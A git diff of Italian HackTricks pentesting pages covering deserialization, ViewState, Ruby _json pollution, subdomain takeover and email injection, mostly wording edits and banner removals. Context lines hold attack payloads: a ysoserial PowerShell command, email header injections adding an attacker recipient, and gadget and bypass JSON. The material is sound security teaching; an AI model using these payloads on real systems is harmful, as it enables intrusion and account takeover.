@@ -37,15 +34,12 @@ AWS ha risolto questo problema consentendo di specificare se una libreria è int
 
 ## Trovare Librerie Vulnerabili
 
-Nel [**post originale sulla dipendenza confusa**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) l'autore ha cercato migliaia di file package.json esposti contenenti le dipendenze dei progetti javascript.
+Nell'[**articolo originale sulla dipendenza confusa**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) l'autore ha cercato migliaia di file package.json esposti contenenti le dipendenze dei progetti javascript.
 
 ## Riferimenti
 
 - [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
 - [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
 
-

-
-{% embed url="https://websec.nl/" %}
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md
index 37ab30011..8d7220635 100644
--- a/src/pentesting-web/deserialization/README.md
+++ b/src/pentesting-web/deserialization/README.md
@@ -16,7 +16,7 @@ In PHP, specifici metodi magici sono utilizzati durante i processi di serializza
 
 - `__sleep`: Invocato quando un oggetto viene serializzato. Questo metodo dovrebbe restituire un array dei nomi di tutte le proprietà dell'oggetto che dovrebbero essere serializzate. È comunemente usato per impegnare dati in sospeso o eseguire compiti di pulizia simili.
 - `__wakeup`: Chiamato quando un oggetto viene deserializzato. Viene utilizzato per ristabilire eventuali connessioni al database che potrebbero essere state perse durante la serializzazione e per eseguire altri compiti di reinizializzazione.
-- `__unserialize`: Questo metodo viene chiamato invece di `__wakeup` (se esiste) quando un oggetto viene deserializzato. Fornisce un maggiore controllo sul processo di deserializzazione rispetto a `__wakeup`.
+- `__unserialize`: Questo metodo viene chiamato invece di `__wakeup` (se esiste) quando un oggetto viene deserializzato. Fornisce maggiore controllo sul processo di deserializzazione rispetto a `__wakeup`.
 - `__destruct`: Questo metodo viene chiamato quando un oggetto sta per essere distrutto o quando lo script termina. È tipicamente usato per compiti di pulizia, come la chiusura di handle di file o connessioni al database.
 - `__toString`: Questo metodo consente a un oggetto di essere trattato come una stringa. Può essere utilizzato per leggere un file o altri compiti basati sulle chiamate di funzione al suo interno, fornendo effettivamente una rappresentazione testuale dell'oggetto.
 ```php
@@ -145,7 +145,7 @@ print(base64.b64encode(pickle.dumps(P())))
 ```
 Prima di controllare la tecnica di bypass, prova a usare `print(base64.b64encode(pickle.dumps(P(),2)))` per generare un oggetto compatibile con python2 se stai eseguendo python3.
 
-Per ulteriori informazioni su come uscire da **pickle jails** controlla:
+Per ulteriori informazioni su come evadere dalle **pickle jails** controlla:
 
 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@@ -357,9 +357,9 @@ Puoi controllare se è installata qualche applicazione con vulnerabilità note.
 find . -iname "*commons*collection*"
 grep -R InvokeTransformer .
 ```
-Puoi provare a **controllare tutte le librerie** note per essere vulnerabili e che [**Ysoserial**](https://github.com/frohoff/ysoserial) può fornire un exploit. Oppure puoi controllare le librerie indicate su [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
-Puoi anche usare [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) per cercare possibili catene di gadget che possono essere sfruttate.\
-Quando esegui **gadgetinspector** (dopo averlo costruito) non preoccuparti dei tonnellate di avvisi/errori che sta attraversando e lascialo finire. Scriverà tutte le scoperte sotto _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Si prega di notare che **gadgetinspector non creerà un exploit e potrebbe indicare falsi positivi**.
+Potresti provare a **controllare tutte le librerie** note per essere vulnerabili e per le quali [**Ysoserial**](https://github.com/frohoff/ysoserial) può fornire un exploit. Oppure potresti controllare le librerie indicate su [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
+Potresti anche usare [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) per cercare possibili catene di gadget che possono essere sfruttate.\
+Quando esegui **gadgetinspector** (dopo averlo costruito) non preoccuparti dei tonnellate di avvisi/errori che sta attraversando e lascialo finire. Scriverà tutti i risultati sotto _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Si prega di notare che **gadgetinspector non creerà un exploit e potrebbe indicare falsi positivi**.
 
 #### Test Black Box
 
@@ -384,7 +384,7 @@ Se trovi un oggetto serializzato java inviato a un'applicazione web, **puoi usar
 #### **ysoserial**
 
 Lo strumento principale per sfruttare le deserializzazioni Java è [**ysoserial**](https://github.com/frohoff/ysoserial) ([**scarica qui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Puoi anche considerare di usare [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) che ti permetterà di usare comandi complessi (con pipe ad esempio).\
-Nota che questo strumento è **focalizzato** sullo sfruttamento di **`ObjectInputStream`**.\
+Nota che questo strumento è **focalizzato** sull'exploitation di **`ObjectInputStream`**.\
 Inizierei **usando il payload "URLDNS"** **prima di un payload RCE** per testare se l'iniezione è possibile. Comunque, nota che forse il payload "URLDNS" non funziona ma un altro payload RCE sì.
 ```bash
 # PoC to make the application perform a DNS req
@@ -495,13 +495,13 @@ Java utilizza molto la serializzazione per vari scopi come:
 
 - **Richieste HTTP**: La serializzazione è ampiamente impiegata nella gestione dei parametri, ViewState, cookie, ecc.
 - **RMI (Remote Method Invocation)**: Il protocollo RMI di Java, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java.
-- **RMI over HTTP**: Questo metodo è comunemente usato dalle applicazioni web client spesse basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti.
+- **RMI su HTTP**: Questo metodo è comunemente usato dalle applicazioni web client pesanti basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti.
 - **JMX (Java Management Extensions)**: JMX utilizza la serializzazione per trasmettere oggetti attraverso la rete.
 - **Protocolli personalizzati**: In Java, la prassi standard prevede la trasmissione di oggetti Java grezzi, che saranno dimostrati negli esempi di exploit futuri.
 
 ### Prevention
 
-#### Transient objects
+#### Oggetti transient
 
 Una classe che implementa `Serializable` può implementare come `transient` qualsiasi oggetto all'interno della classe che non dovrebbe essere serializzabile. Ad esempio:
 ```java
@@ -651,7 +651,7 @@ Le principali opzioni di **ysoserial.net** sono: **`--gadget`**, **`--formatter`
 
 - **`--gadget`** utilizzato per indicare il gadget da abusare (indica la classe/funzione che sarà abusata durante la deserializzazione per eseguire comandi).
 - **`--formatter`**, utilizzato per indicare il metodo per serializzare l'exploit (devi sapere quale libreria sta utilizzando il back-end per deserializzare il payload e utilizzare la stessa per serializzarlo)
-- **`--output`** utilizzato per indicare se vuoi l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **codificherà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII ma questo non significa che funzionerà sempre)._
+- **`--output`** utilizzato per indicare se vuoi l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **coderà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII, ma questo non significa che funzionerà sempre)._
 - **`--plugin`** ysoserial.net supporta plugin per creare **exploit per framework specifici** come ViewState
 
 #### Altri parametri di ysoserial.net
@@ -819,7 +819,7 @@ Altra catena RCE per sfruttare Ruby On Rails: [https://codeclimate.com/blog/rail
 
 ### Metodo Ruby .send()
 
-Come spiegato in [**questo rapporto di vulnerabilità**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanitizzato di un utente raggiunge il metodo `.send()` di un oggetto ruby, questo metodo consente di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro.
+Come spiegato in [**questo rapporto di vulnerabilità**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanitizzato di qualche utente raggiunge il metodo `.send()` di un oggetto ruby, questo metodo consente di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro.
 
 Ad esempio, chiamare eval e poi codice ruby come secondo parametro permetterà di eseguire codice arbitrario:
 ```ruby
@@ -848,11 +848,21 @@ candidate_methods = repo_methods.select() do |method_name|
 end
 candidate_methods.length() # Final number of methods=> 3595
 ```
+### Inquinamento della classe Ruby
+
+Controlla come potrebbe essere possibile [inquinare una classe Ruby e abusarne qui](ruby-class-pollution.md).
+
+### Inquinamento _json di Ruby
+
+Quando si inviano nel corpo alcuni valori non hashabili come un array, verranno aggiunti a una nuova chiave chiamata `_json`. Tuttavia, è possibile per un attaccante impostare nel corpo un valore chiamato `_json` con i valori arbitrari che desidera. Quindi, se il backend, ad esempio, controlla la veridicità di un parametro ma poi utilizza anche il parametro `_json` per eseguire un'azione, potrebbe verificarsi un bypass dell'autorizzazione.
+
+Controlla ulteriori informazioni nella [pagina di inquinamento _json di Ruby](ruby-_json-pollution.md).
+
 ### Altre librerie
 
-Questa tecnica è stata presa[ **da questo post del blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
+Questa tecnica è stata presa [**da questo post del blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
 
-Ci sono altre librerie Ruby che possono essere utilizzate per serializzare oggetti e quindi che potrebbero essere abusate per ottenere RCE durante una deserializzazione insicura. La seguente tabella mostra alcune di queste librerie e il metodo che chiamano della libreria caricata ogni volta che viene deserializzata (funzione da abusare per ottenere RCE fondamentalmente):
+Ci sono altre librerie Ruby che possono essere utilizzate per serializzare oggetti e quindi potrebbero essere abusate per ottenere RCE durante una deserializzazione insicura. La seguente tabella mostra alcune di queste librerie e il metodo che chiamano della libreria caricata ogni volta che viene deserializzata (funzione da abusare per ottenere RCE fondamentalmente):
 
 
LibreriaDati di inputMetodo di avvio all'interno della classe
Marshal (Ruby)Binario_load
OjJSONhash (la classe deve essere inserita in hash(mappa) come chiave)
OxXMLhash (la classe deve essere inserita in hash(mappa) come chiave)
Psych (Ruby)YAMLhash (la classe deve essere inserita in hash(mappa) come chiave)
init_with
JSON (Ruby)JSONjson_create ([vedi note riguardo json_create alla fine](#table-vulnerable-sinks))

 
@@ -890,7 +900,7 @@ Nel caso di tentare di abusare di Oj, è stato possibile trovare una classe gadg
 "password": "anypw"
 }
 ```
-Inoltre, è stato scoperto che con la tecnica precedente viene anche creata una cartella nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in un completo RCE con qualcosa come:
+Inoltre, è stato scoperto che con la tecnica precedente viene anche creata una cartella nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in un RCE completo con qualcosa come:
 ```json
 {
 "^o": "Gem::Resolver::SpecSpecification",
diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
index 4c723f16e..1893202a0 100644
--- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
+++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
@@ -2,15 +2,11 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

 
-**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
 ## Cos'è ViewState
 
-**ViewState** funge da meccanismo predefinito in ASP.NET per mantenere i dati della pagina e del controllo tra le pagine web. Durante il rendering dell'HTML di una pagina, lo stato attuale della pagina e i valori da preservare durante un postback vengono serializzati in stringhe codificate in base64. Queste stringhe vengono quindi collocate in campi ViewState nascosti.
+**ViewState** funge da meccanismo predefinito in ASP.NET per mantenere i dati della pagina e del controllo tra le pagine web. Durante il rendering dell'HTML di una pagina, lo stato attuale della pagina e i valori da preservare durante un postback vengono serializzati in stringhe codificate in base64. Queste stringhe vengono quindi inserite in campi ViewState nascosti.
 
 Le informazioni di ViewState possono essere caratterizzate dalle seguenti proprietà o dalle loro combinazioni:
 
@@ -26,9 +22,9 @@ Le informazioni di ViewState possono essere caratterizzate dalle seguenti propri
 L'immagine è una tabella che dettaglia diverse configurazioni per ViewState in ASP.NET in base alla versione del framework .NET. Ecco un riepilogo del contenuto:
 
 1. Per **qualsiasi versione di .NET**, quando sia MAC che Crittografia sono disabilitati, non è richiesto un MachineKey, e quindi non c'è un metodo applicabile per identificarlo.
-2. Per **versioni inferiori a 4.5**, se MAC è abilitato ma la Crittografia non lo è, è richiesto un MachineKey. Il metodo per identificare il MachineKey è chiamato "Blacklist3r."
-3. Per **versioni inferiori a 4.5**, indipendentemente dal fatto che MAC sia abilitato o disabilitato, se la Crittografia è abilitata, è necessario un MachineKey. Identificare il MachineKey è un compito per "Blacklist3r - Sviluppo Futuro."
-4. Per **versioni 4.5 e superiori**, tutte le combinazioni di MAC e Crittografia (sia che entrambi siano true, o uno sia true e l'altro false) richiedono un MachineKey. Il MachineKey può essere identificato utilizzando "Blacklist3r."
+2. Per **versioni inferiori a 4.5**, se il MAC è abilitato ma la Crittografia non lo è, è richiesto un MachineKey. Il metodo per identificare il MachineKey è chiamato "Blacklist3r."
+3. Per **versioni inferiori a 4.5**, indipendentemente dal fatto che il MAC sia abilitato o disabilitato, se la Crittografia è abilitata, è necessario un MachineKey. Identificare il MachineKey è un compito per "Blacklist3r - Sviluppo Futuro."
+4. Per **versioni 4.5 e superiori**, tutte le combinazioni di MAC e Crittografia (sia che entrambi siano true, o che uno sia true e l'altro false) richiedono un MachineKey. Il MachineKey può essere identificato utilizzando "Blacklist3r."
 
 ### Caso di Test: 1 – EnableViewStateMac=false e viewStateEncryptionMode=false
 
@@ -106,7 +102,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
 
 --generator = {__VIWESTATEGENERATOR parameter value}
 ```
-Nei casi in cui il parametro `_VIEWSTATEGENERATOR` **non viene inviato** dal server, **non** è necessario **fornire** il parametro `--generator` **ma questi**:
+Nei casi in cui il parametro `_VIEWSTATEGENERATOR` **non viene inviato** dal server, **non** è necessario **fornire** il parametro `--generator`, **ma questi**:
 ```bash
 --apppath="/" --path="/hello.aspx"
 ```
@@ -181,10 +177,6 @@ Controlla per [ulteriori informazioni qui](

 
-**Suggerimento per bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare ricompense fino a **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/deserialization/ruby-_json-pollution.md b/src/pentesting-web/deserialization/ruby-_json-pollution.md
new file mode 100644
index 000000000..1308652cb
--- /dev/null
+++ b/src/pentesting-web/deserialization/ruby-_json-pollution.md
@@ -0,0 +1,20 @@
+# Ruby _json pollution
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Questo è un riassunto del post [https://nastystereo.com/security/rails-_json-juggling-attack.html](https://nastystereo.com/security/rails-_json-juggling-attack.html)
+
+## Informazioni di base
+
+Quando si inviano nel corpo alcuni valori non hashable come un array, verranno aggiunti a una nuova chiave chiamata `_json`. Tuttavia, è possibile per un attaccante impostare nel corpo un valore chiamato `_json` con i valori arbitrari che desidera. Quindi, se il backend, ad esempio, controlla la veridicità di un parametro ma poi utilizza anche il parametro `_json` per eseguire un'azione, potrebbe verificarsi un bypass dell'autorizzazione.
+```json
+{
+"id": 123,
+"_json": [456, 789]
+}
+```
+## Riferimenti
+
+- [https://nastystereo.com/security/rails-_json-juggling-attack.html](https://nastystereo.com/security/rails-_json-juggling-attack.html)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/domain-subdomain-takeover.md b/src/pentesting-web/domain-subdomain-takeover.md
index b559f9528..22c20f815 100644
--- a/src/pentesting-web/domain-subdomain-takeover.md
+++ b/src/pentesting-web/domain-subdomain-takeover.md
@@ -2,17 +2,10 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=domain-subdomain-takeover) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=domain-subdomain-takeover" %}
 
 ## Domain takeover
 
-Se scopri un dominio (domain.tld) che è **utilizzato da qualche servizio all'interno dell'ambito** ma la **società** ha **perso** la **proprietà** di esso, puoi provare a **registrarlo** (se abbastanza economico) e far sapere alla società. Se questo dominio sta ricevendo alcune **informazioni sensibili** come un cookie di sessione tramite **GET** parametro o nell'intestazione **Referer**, questa è sicuramente una **vulnerabilità**.
+Se scopri un dominio (domain.tld) che **viene utilizzato da qualche servizio all'interno dell'ambito** ma la **società** ha **perso** la **proprietà** di esso, puoi provare a **registrarlo** (se abbastanza economico) e far sapere alla società. Se questo dominio sta ricevendo alcune **informazioni sensibili** come un cookie di sessione tramite **GET** parametro o nell'intestazione **Referer**, questa è sicuramente una **vulnerabilità**.
 
 ### Subdomain takeover
 
@@ -38,7 +31,7 @@ Ci sono diversi strumenti con dizionari per controllare possibili takeover:
 
 Quando viene utilizzato un wildcard DNS in un dominio, qualsiasi sottodominio richiesto di quel dominio che non ha un indirizzo diverso esplicitamente sarà **risolto alle stesse informazioni**. Questo potrebbe essere un indirizzo IP A, un CNAME...
 
-Ad esempio, se `*.testing.com` è wildcarded a `1.1.1.1`. Allora, `not-existent.testing.com` punterà a `1.1.1.1`.
+Ad esempio, se `*.testing.com` è wildcard a `1.1.1.1`. Allora, `not-existent.testing.com` punterà a `1.1.1.1`.
 
 Tuttavia, se invece di puntare a un indirizzo IP, l'amministratore di sistema lo punta a un **servizio di terze parti tramite CNAME**, come un sottodominio G**ithub** per esempio (`sohomdatta1.github.io`). Un attaccante potrebbe **creare la propria pagina di terze parti** (in Gihub in questo caso) e dire che `something.testing.com` punta lì. Perché, il **CNAME wildcard** consentirà all'attaccante di **generare sottodomini arbitrari per il dominio della vittima che puntano alle sue pagine**.
 
@@ -46,7 +39,7 @@ Puoi trovare un esempio di questa vulnerabilità nel write-up CTF: [https://ctf.
 
 ## Exploiting a subdomain takeover
 
-Il takeover del sottodominio è essenzialmente uno spoofing DNS per un dominio specifico su Internet, consentendo agli attaccanti di impostare record A per un dominio, portando i browser a visualizzare contenuti dal server dell'attaccante. Questa **trasparenza** nei browser rende i domini vulnerabili al phishing. Gli attaccanti possono impiegare [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) o [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) per questo scopo. Sono particolarmente vulnerabili i domini in cui l'URL in un'email di phishing appare legittimo, ingannando gli utenti e eludendo i filtri antispam a causa della fiducia intrinseca del dominio.
+Il takeover del sottodominio è essenzialmente uno spoofing DNS per un dominio specifico su Internet, consentendo agli attaccanti di impostare record A per un dominio, portando i browser a visualizzare contenuti dal server dell'attaccante. Questa **trasparenza** nei browser rende i domini vulnerabili al phishing. Gli attaccanti possono impiegare [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) o [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) per questo scopo. Sono particolarmente vulnerabili i domini in cui l'URL in un'email di phishing appare legittimo, ingannando gli utenti ed eludendo i filtri antispam a causa della fiducia intrinseca del dominio.
 
 Controlla questo [post per ulteriori dettagli](https://0xpatrik.com/subdomain-takeover/)
 
@@ -56,11 +49,11 @@ I certificati SSL, se generati dagli attaccanti tramite servizi come [_Let's Enc
 
 ### **Cookie Security and Browser Transparency**
 
-La trasparenza del browser si estende anche alla sicurezza dei cookie, governata da politiche come la [Same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy). I cookie, spesso utilizzati per gestire sessioni e memorizzare token di accesso, possono essere sfruttati attraverso il takeover del sottodominio. Gli attaccanti possono **raccogliere cookie di sessione** semplicemente indirizzando gli utenti a un sottodominio compromesso, mettendo a rischio i dati e la privacy degli utenti.
+La trasparenza del browser si estende anche alla sicurezza dei cookie, governata da politiche come la [Same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy). I cookie, spesso utilizzati per gestire sessioni e memorizzare token di accesso, possono essere sfruttati attraverso il takeover del sottodominio. Gli attaccanti possono **raccogliere cookie di sessione** semplicemente indirizzando gli utenti a un sottodominio compromesso, mettendo in pericolo i dati e la privacy degli utenti.
 
 ### **Emails and Subdomain Takeover**
 
-Un altro aspetto del takeover del sottodominio coinvolge i servizi email. Gli attaccanti possono manipolare i **record MX** per ricevere o inviare email da un sottodominio legittimo, aumentando l'efficacia degli attacchi di phishing.
+Un altro aspetto del takeover del sottodominio coinvolge i servizi email. Gli attaccanti possono manipolare i **record MX** per ricevere o inviare email da un sottodominio legittimo, migliorando l'efficacia degli attacchi di phishing.
 
 ### **Higher Order Risks**
 
@@ -74,7 +67,7 @@ Gli attaccanti potrebbero sfruttare record CNAME non reclamati che puntano a ser
 
 Le strategie di mitigazione includono:
 
-1. **Rimuovere record DNS vulnerabili** - Questo è efficace se il sottodominio non è più necessario.
+1. **Rimuovere i record DNS vulnerabili** - Questo è efficace se il sottodominio non è più necessario.
 2. **Rivendicare il nome di dominio** - Registrare la risorsa con il rispettivo fornitore di cloud o riacquistare un dominio scaduto.
 3. **Monitoraggio regolare per vulnerabilità** - Strumenti come [aquatone](https://github.com/michenriksen/aquatone) possono aiutare a identificare domini suscettibili. Le organizzazioni dovrebbero anche rivedere i loro processi di gestione dell'infrastruttura, assicurandosi che la creazione di record DNS sia l'ultimo passo nella creazione delle risorse e il primo passo nella distruzione delle risorse.
 
@@ -85,12 +78,4 @@ Per i fornitori di cloud, verificare la proprietà del dominio è cruciale per p
 - [https://0xpatrik.com/subdomain-takeover/](https://0xpatrik.com/subdomain-takeover/)
 - [https://www.stratussecurity.com/post/subdomain-takeover-guide](https://www.stratussecurity.com/post/subdomain-takeover-guide)
 
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=domain-subdomain-takeover) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=domain-subdomain-takeover" %}
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/email-injections.md b/src/pentesting-web/email-injections.md
index 2efac9325..b9ac29639 100644
--- a/src/pentesting-web/email-injections.md
+++ b/src/pentesting-web/email-injections.md
@@ -1,13 +1,5 @@
 # Email Injections
 
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
-Ottieni accesso oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
-
 {{#include ../banners/hacktricks-training.md}}
 
 ## Inietta in e-mail inviate
@@ -24,7 +16,7 @@ From:sender@domain.com%0ATo:attacker@domain.com
 ```
 Il messaggio verrà inviato al destinatario originale e all'account dell'attaccante.
 
-### Inietta l'argomento dell'oggetto
+### Iniettare l'argomento Subject
 ```
 From:sender@domain.com%0ASubject:This is%20Fake%20Subject
 ```
@@ -32,7 +24,7 @@ L'oggetto falso verrà aggiunto all'oggetto originale e in alcuni casi lo sostit
 
 ### Cambiare il corpo del messaggio
 
-Inietta un'interruzione di due righe, quindi scrivi il tuo messaggio per cambiare il corpo del messaggio.
+Inietta un'interruzione di riga, quindi scrivi il tuo messaggio per cambiare il corpo del messaggio.
 ```
 From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
 ```
@@ -62,7 +54,7 @@ Un attaccante può **iniettare parametri estratti per sendmail** in questo caso.
 
 #### Differenze nell'implementazione di /usr/sbin/sendmail
 
-L'interfaccia **sendmail** è **fornita dal software MTA email** (Sendmail, Postfix, Exim, ecc.) installato sul sistema. Anche se la **funzionalità di base** (come i parametri -t -i -f) rimane **la stessa** per motivi di compatibilità, **altre funzioni e parametri** variano notevolmente a seconda dell'MTA installato.
+L'interfaccia **sendmail** è **fornita dal software MTA email** (Sendmail, Postfix, Exim, ecc.) installato sul sistema. Anche se la **funzionalità di base** (come i parametri -t -i -f) rimane la **stessa** per motivi di compatibilità, **altre funzioni e parametri** variano notevolmente a seconda dell'MTA installato.
 
 Ecco alcuni esempi di diverse pagine man del comando/interfaccia sendmail:
 
@@ -106,7 +98,7 @@ Puoi anche usare IP come nomi di dominio tra parentesi quadre:
 
 Come spiegato in [**questa ricerca**](https://portswigger.net/research/splitting-the-email-atom), i nomi delle email possono anche contenere caratteri codificati:
 
-- **Overflow PHP 256**: La funzione PHP `chr` continuerà ad aggiungere 256 a un carattere fino a quando non diventa positivo e poi eseguirà l'operazione `%256`.
+- **Overflow PHP 256**: La funzione PHP `chr` continuerà ad aggiungere 256 a un carattere fino a diventare positivo e poi eseguire l'operazione `%256`.
 - `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
 
 > [!TIP]
@@ -145,10 +137,10 @@ x@xn--svg/-9x6 → x@` codificato come `=3e` e `null` come `=00` 
+- Nota il `@` codificato come =40, il `>` codificato come `=3e` e `null` come `=00` 
 - Invierà l'email di verifica a `collab@psres.net`
 - Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
-- Stesso trucco di prima ma aggiungendo alcune virgolette regolari all'inizio e la virgolette codificata `=22` prima dell'`@` codificato e poi iniziando e chiudendo alcune virgolette prima della prossima email per correggere la sintassi utilizzata internamente da Zendesk
+- Stesso trucco di prima ma aggiungendo alcune virgolette regolari all'inizio e la virgolette codificata `=22` prima del `@` codificato e poi iniziando e chiudendo alcune virgolette prima della prossima email per correggere la sintassi utilizzata internamente da Zendesk
 - Invierà l'email di verifica a `collab@psres.net`
 - Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
 - Nota l'uso dell'underscore come spazio per separare l'indirizzo
@@ -164,16 +156,16 @@ Payloads:
 
 ![https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0](<../images/image (1131).png>)
 
-## Third party SSO
+## Terze parti SSO
 
 ### XSS
 
-Alcuni servizi come **github** o **salesforce** ti permettono di creare un **indirizzo email con payload XSS su di esso**. Se puoi **utilizzare questi fornitori per accedere ad altri servizi** e questi servizi **non stanno sanitizzando** correttamente l'email, potresti causare **XSS**.
+Alcuni servizi come **github** o **salesforce** ti consentono di creare un **indirizzo email con payload XSS su di esso**. Se puoi **utilizzare questi fornitori per accedere ad altri servizi** e questi servizi **non stanno sanitizzando** correttamente l'email, potresti causare **XSS**.
 
 ### Account-Takeover
 
 Se un **servizio SSO** ti consente di **creare un account senza verificare l'indirizzo email fornito** (come **salesforce**) e poi puoi utilizzare quell'account per **accedere a un servizio diverso** che **si fida** di salesforce, potresti accedere a qualsiasi account.\
-&#xNAN;_Nota che salesforce indica se l'email fornita è stata o meno verificata, ma anche l'applicazione dovrebbe tenere conto di queste informazioni._
+&#xNAN;_Note che salesforce indica se l'email fornita è stata o meno verificata, ma anche l'applicazione dovrebbe tenere conto di queste informazioni._
 
 ## Reply-To
 
@@ -191,7 +183,7 @@ Nel contesto di AWS, se invii 1000 email e 100 di esse risultano in hard bounce
 
 Per informazioni più dettagliate, è possibile fare riferimento alla documentazione ufficiale di AWS sulla gestione dei bounce e dei reclami [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
 
-## References
+## Riferimenti
 
 - [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
 - [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
@@ -199,11 +191,3 @@ Per informazioni più dettagliate, è possibile fare riferimento alla documentaz
 - [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0)
 
 {{#include ../banners/hacktricks-training.md}}
-
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** del mondo.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
